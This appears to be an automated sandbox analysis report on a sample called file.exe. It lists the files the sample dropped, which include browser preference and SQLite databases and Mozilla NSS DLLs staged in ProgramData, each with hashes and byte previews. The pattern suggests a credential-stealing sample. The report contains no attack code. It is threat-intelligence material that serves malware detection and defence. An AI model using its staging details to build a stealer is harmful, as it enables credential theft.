Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJKJDAEBFCBKECBGDBFCFBKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJJEBGCFBGDHIDGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g8Z5OO8o6p.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: xQ9Dzc7cj9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g8Z5OO8o6p.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: xQ9Dzc7cj9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\010bff1f-96e8-42ea-bb12-6cb79ff12e2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46216
Entropy (8bit):	6.087899036357567
Encrypted:	false
SSDEEP:	768:uMkbJrT8IeQcrQgM9KgDEuAhDO6vP6Ow/BHoYAqn1DFJNUhy1DhSCAouGoup1Xl+:uMk1rT8Hs9KgF6Qpk01sRouhu3VlXr4H
MD5:	CF1178B7C720EFA444AA9E10E3425780
SHA1:	E7CCCED3330ED601D4A057D0F1E37C11570210F2
SHA-256:	6D74CEFCEBDF32198B7A02FCEA0D3BE362A4215F07C12A4C8337DAF312BE9DB6
SHA-512:	3EF5E7A2EF8AFDFC53DB4BDAD891C9EBCC7BF0F9BA4C434C0D0334D50BA315BF4B106FED5124F3EFEE0E9BCF4FC76588C671C91C785EA83334FCE374D87C5375
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731186578"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3a661e95-7dae-447a-8e8c-3e63df6d674e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.0968441686601365
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB2wuzhDO6vP6Ow/BHoSaxVTicGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEp6QpLchu3VlXr4CRo1
MD5:	56D17D5652224CB50E52A39891BCDE1A
SHA1:	FA90E2B410D7332981FE310AF114512A7A760ACB
SHA-256:	11890BC6A9D7A1997C3067C292F895CC989ACDBE06342E5A4DE0961D3DBC19A0
SHA-512:	B51762A006CFD3DC64F81BC8026C5BF094F8F1EB5FC0FB8236A0F0534717072D5EE98751672A04D666B13FE9472D3B02B68E452FF49A2FBB123735804A62B1C0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4b7f1e97-aea3-4994-a3f3-85f22810c5c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907492042055615
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM0wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa60tbz8hu3VlXr4CRo1
MD5:	BE9A50C5D1C646106B63D89140BCC315
SHA1:	6773BC7C5446A36DC89F11C43322FAC230F81FA7
SHA-256:	B7B3710A1FCBF65980203481DEA6FAD7238ED8FA8540CACCA6A6CF6CA9E9EA7C
SHA-512:	0C100D379854F4DD20845255CD52A8EB23A9ECDEC877C9280F19438B8946B473FD25F82E0B6CA60C387BB670744172C2B5B1538B3F1DEFADA9815036F38662A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\66455e30-5f28-466a-b4cf-5aeb37a03453.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46139
Entropy (8bit):	6.0879679772015125
Encrypted:	false
SSDEEP:	768:uMkbJrT8IeQcrQgx9KgDEuAhDO6vP6Ow/BH0YAqn1DFJNUhy1DhSCAouGoup1Xl+:uMk1rT8HR9KgF6QpY01sRouhu3VlXr4H
MD5:	448EDE9958DC78DC27B41774017C1FC8
SHA1:	1DD0BF75980E91D3A0F3548AAB082CBDB80755F3
SHA-256:	139644C431BBABCA401313D404F92030412B2BC5A2A0C1EBB934AF543C286DBB
SHA-512:	FF463751FE9B0DA2C8D9049756D90D13E6A5BA44E8D2E86D2E4C6267CE89D7E4CC3E30C55C8B317C96BD42DE6EEA3D8B0D20BECFC3581CE1628B8ACF29253191
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731186578"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\86d25942-acee-48ee-9909-0efb5cf9a364.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.0965956604690446
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBXDwuzhDO6vP6Ow/BH0YAqn1DFJNUcGoup1Xl3jVu:z/Ps+wsI7yOEXC6QpYchu3VlXr4CRo1
MD5:	3FE3FC3DDAF02A91A94B2BBF242889A5
SHA1:	90CBECC23A05938C07549037C653E02E7089F5F9
SHA-256:	6991167A2E8FC59D30C90E67E599C9063A3009B6C0F5959502591AB26D1C97D2
SHA-512:	9BD1BB65D1E5C45B3ECEAF58218F39E0CB908D24E7124BD42812F25A2BCB3FA87D545C43A195E48479BB101757EB3FDA08F964253F5E6BF112C75FD5D4BEDA8D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\713fd592-b899-4890-9fb8-02fb2f53e998.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
